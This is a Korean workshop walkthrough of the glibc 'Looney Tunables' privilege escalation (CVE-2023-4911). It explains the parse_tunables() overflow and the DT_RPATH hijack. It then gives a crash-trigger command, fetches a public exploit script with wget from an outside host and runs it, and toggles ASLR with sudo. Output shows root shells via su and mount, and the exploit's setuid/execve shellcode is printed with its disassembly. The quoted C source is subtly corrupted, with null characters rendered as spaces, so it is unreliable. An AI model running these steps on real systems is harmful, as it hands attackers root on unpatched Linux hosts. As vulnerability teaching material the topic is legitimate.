Looney Tunables 로컬 권한 상승(CVE-2023-4911) 워크숍(교육 목적으로만)
컴퓨팅에서 동적 링커는 라이브러리 내용을 영구 저장소에서 RAM으로 복사하고 점프 테이블을 채우고 포인터를 재배치하여 실행 파일이 실행될 때 필요한 공유 라이브러리를 로드하고 연결하는 운영 체제의 일부입니다.
예를 들어, openssl 라이브러리를 사용하여 md5 해시를 계산하는 프로그램이 있습니다.
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so는 바이너리를 구문 분석하고 <openssl/md5.h>와 관련된 라이브러리를 찾으려고 시도합니다.
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
보시다시피 /lib/x86_64-linux-gnu/libcrypto.so.3 에서 필요한 암호화 라이브러리를 찾습니다. 프로그램 시작 중에 이 라이브러리의 코드를 프로세스 RAM에 넣고 이 라이브러리에 대한 모든 참조를 연결합니다.
프로그램이 시작되면 이 로더는 먼저 프로그램을 검사하여 필요한 공유 라이브러리를 결정합니다. 그런 다음 이러한 라이브러리를 검색하여 메모리에 로드하고 런타임에 실행 파일과 연결합니다. 이 과정에서 동적 로더는 함수 및 변수 참조와 같은 기호 참조를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인합니다. 역할을 고려할 때 동적 로더는 로컬 사용자가 set-user-ID 또는 set-group-ID 프로그램을 시작할 때 높은 권한으로 코드가 실행되므로 보안에 매우 민감합니다.
튜너블은 애플리케이션 작성자와 배포 관리자가 워크로드에 맞게 런타임 라이브러리 동작을 변경할 수 있도록 하는 GNU C 라이브러리의 기능입니다. 이는 다양한 방식으로 수정될 수 있는 스위치 세트로 구현됩니다. 이를 수행하는 현재 기본 방법은 GLIBC_TUNABLES 환경 변수를 콜론으로 구분된 이름=값 쌍의 문자열로 설정하는 것입니다. 예를 들어, 다음 예에서는 malloc 검사를 활성화하고 malloc 트림 임계값을 128바이트로 설정합니다.
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
--list-tunables를 동적 로더에 전달하여 최소값과 최대값으로 모든 조정 가능 항목을 인쇄합니다.
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
실행 초기에 ld.so는 __tunables_init()를 호출하여 환경(라인 279)을 살펴보고 GLIBC_TUNABLES 변수(라인 282)를 검색합니다. 찾은 각 GLIBC_TUNABLES에 대해 이 변수의 복사본을 만들고(라인 284), 이 복사본을 처리하고 정리하기 위해 parse_tunables()를 호출하고(라인 286), 마지막으로 원본 GLIBC_TUNABLES를 이 정리된 복사본으로 대체합니다(라인 288). ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } parse_tunables()(tunestr)의 첫 번째 인수는 곧 삭제될 GLIBC_TUNABLES 복사본을 가리키는 반면, 두 번째 인수(valstring)는 원래 GLIBC_TUNABLES 환경 변수(스택에 있음)를 가리킵니다. GLIBC_TUNABLES("tunable1= aaa:tunable2=bbb" 형식이어야 함)의 복사본을 삭제하기 위해, parse_tunables()는 tunestr에서 모든 위험한 튜너블(SXID_ERASE 튜너블)을 제거하지만 SXID_IGNORE 및 NONE 튜너블은 유지합니다(라인 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }불행하게도 GLIBC_TUNABLES 환경 변수가 "tunable1=tunable2=AAA" 형식인 경우(여기서 "tunable1" 및 "tunable2"는 SXID_IGNORE 조정 가능 항목입니다(예: "glibc.malloc.mxfast")):
Parse_tunables()에서 "while(true)"의 첫 번째 반복 중에 전체 "tunable1=tunable2=AAA"가 tunestr(라인 221-235)에 복사되어 tunestr을 채웁니다.
247-248행에서 p는 증가되지 않습니다(203-204행에서 ':'가 발견되지 않았기 때문에 p[len]은 ' '입니다). 따라서 p는 여전히 "tunable1"의 값을 가리킵니다. 즉, "tunable2= AAA";
parse_tunables()에서 "while (true)"의 두 번째 반복 중에 "tunable2=AAA"가 (두 번째 튜너블인 것처럼) tunestr(이미 가득 찼음)에 추가되어 tunestr이 오버플로됩니다.
명령:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)유효 탑재량:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
길이 -> 8236바이트
이 취약점은 간단한 버퍼 오버플로입니다. 그러나 임의 코드 실행을 달성하려면 무엇을 덮어써야 합니까? 우리가 오버플로하는 버퍼는 glibc의 malloc() 대신 ld.so의 __minimal_malloc()을 사용하는 strdup()의 재구현인 tunables_strdup()에 의해 라인 284에 할당됩니다(실제로 glibc의 malloc()는 아직 초기화되지 않았습니다. ). 이 __minimal_malloc() 구현은 단순히 mmap()을 호출하여 커널에서 더 많은 메모리를 얻습니다.
이 코드를 살펴보겠습니다.
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so는 calloc()을 사용하여 이 link_map 구조에 대한 메모리를 할당하므로 다양한 멤버를 0으로 명시적으로 초기화하지 않습니다. 이는 합리적인 최적화입니다. 앞서 언급했듯이 여기서 calloc()은 glibc의 calloc()이 아니라 ld.so의 __minimal_calloc()입니다. 이는 0으로 반환되는 메모리를 명시적으로 초기화 하지 않고 __minimal_malloc()을 호출합니다. 모든 의도와 목적을 위해 __minimal_malloc()은 항상 커널에 의해 0으로 초기화되도록 보장되는 mmap() 메모리의 깨끗한 청크를 반환하기 때문에 이는 합리적인 최적화이기도 합니다.
불행하게도, pars_tunables()의 버퍼 오버플로를 통해 깨끗한 mmap() 메모리를 0이 아닌 바이트로 덮어쓸 수 있으므로 곧 할당될 link_map 구조의 포인터를 NULL이 아닌 값으로 덮어쓸 수 있습니다. 이를 통해 포인터가 NULL이라고 가정하는 ld.so의 논리를 완전히 깨뜨릴 수 있습니다.
우리는 link_map 구조에 있는 더 많은 포인터가 명시적으로 NULL로 초기화되지 않았다는 것을 깨달았습니다. 특히 l_info[] 포인터 배열의 Elf64_Dyn 구조에 대한 포인터입니다. 이 중에서 "라이브러리 검색 경로"
l_info[DT_RPATH]즉시 눈에 띄었습니다. 이 포인터를 덮어쓰고 포인터가 가리키는 위치와 대상을 제어하면 ld.so가 우리가 소유한 디렉토리를 신뢰하도록 강제할 수 있습니다. 이 디렉터리에서 자체 libc.so.6 또는 LD_PRELOAD 라이브러리를 로드하고 임의의 코드를 실행합니다(SUID 루트 프로그램을 통해 ld.so를 실행하는 경우 루트로).
덮어쓴
l_info[DT_RPATH]어디를 가리켜야 합니까? 이 질문에 대한 쉬운 대답은 다음과 같습니다: 스택; 보다 정확하게는 스택의 환경 문자열입니다. Linux에서 스택은 16GB 영역에서 무작위로 지정되며 환경 문자열은 최대 6MB(커널의 bprm_stack_limits()에서 _STK_LIM / 4 * 3)를 차지할 수 있습니다. 16GB / 6MB = 2730회 시도 후에는 추측할 가능성이 높습니다. 환경 문자열의 주소(익스플로잇에서는 항상l_info[DT_RPATH]다음으로 덮어씁니다. 0x7ffdfffff010, 무작위 스택 영역의 중심). 테스트에서 이 무차별 대입은 Debian에서는 최대 30초, Ubuntu 및 Fedora에서는 최대 5m가 소요됩니다(자동 충돌 처리기인 Apport 및 ABRT로 인해, 우리는 이 속도 저하를 해결하려고 시도하지 않았습니다).
덮어쓴 l_info[DT_RPATH]는 무엇을 가리켜야 합니까? 익스플로잇에서는 6MB의 환경 문자열을 0xfffffffffffffff8(-8)로 채웁니다. 왜냐하면 대부분의 SUID 루트 프로그램의 문자열 테이블 아래 -8B 오프셋에 "x08" 문자열이 나타나기 때문입니다. 이는 ld.so를 강제합니다. "x08"(현재 작업 디렉터리에 있음)이라는 상대 디렉터리를 신뢰하므로 여기에서 자체 libc.so.6 또는 LD_PRELOAD 라이브러리를 로드하고 실행할 수 있습니다. 디렉토리, 루트로.
계획:
PoC를 테스트하기 위해 이전 kali linux 스냅샷을 사용하고 있습니다. 취약한지 확인해 보겠습니다.
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/sSIGSEGV가 있으므로 우리 시스템은 이 CVE LPE에 취약합니다!
PoC 스크립트를 다운로드하고 테스트해 보겠습니다.
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
따라서 ld.so 빌드 ID가 대상 목록에 없습니다. 수정하겠습니다! ASLR 비활성화:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "다시 확인하세요:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
따라서 POC 스크립트는 유용한 오프셋을 찾고 ld.so 빌드 ID와 오프셋을 스크립트에 추가합니다. ASLR 반환:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "PoC 스크립트를 다시 시도해 보겠습니다.
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
작동합니다!
또한 다른 SUID 파일과도 작업하고 있습니다.
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
PoC 스크립트의 시작 부분에는 일부 프로세서 아키텍처가 포함된 사전 ARCH가 있습니다(사용하면서 x86_64만 남겼습니다). 이 사전에는
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}쉘코드 디스어셈블
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall종료 코드 분해
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscall다음으로 대상(ld.so 빌드 ID)과 해당 버퍼 오버플로 오프셋이 포함된 사전이 있습니다.
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}그런 다음 수행하는 작업에 따라 이름이 지정된 함수가 많이 있으며 대부분 pwntools 라이브러리의 메서드로 대체될 수 있습니다. 그래서 나는 그들 중 일부를 제외하고는 그것들을 자세히 논의할 요점이 없다고 생각합니다.
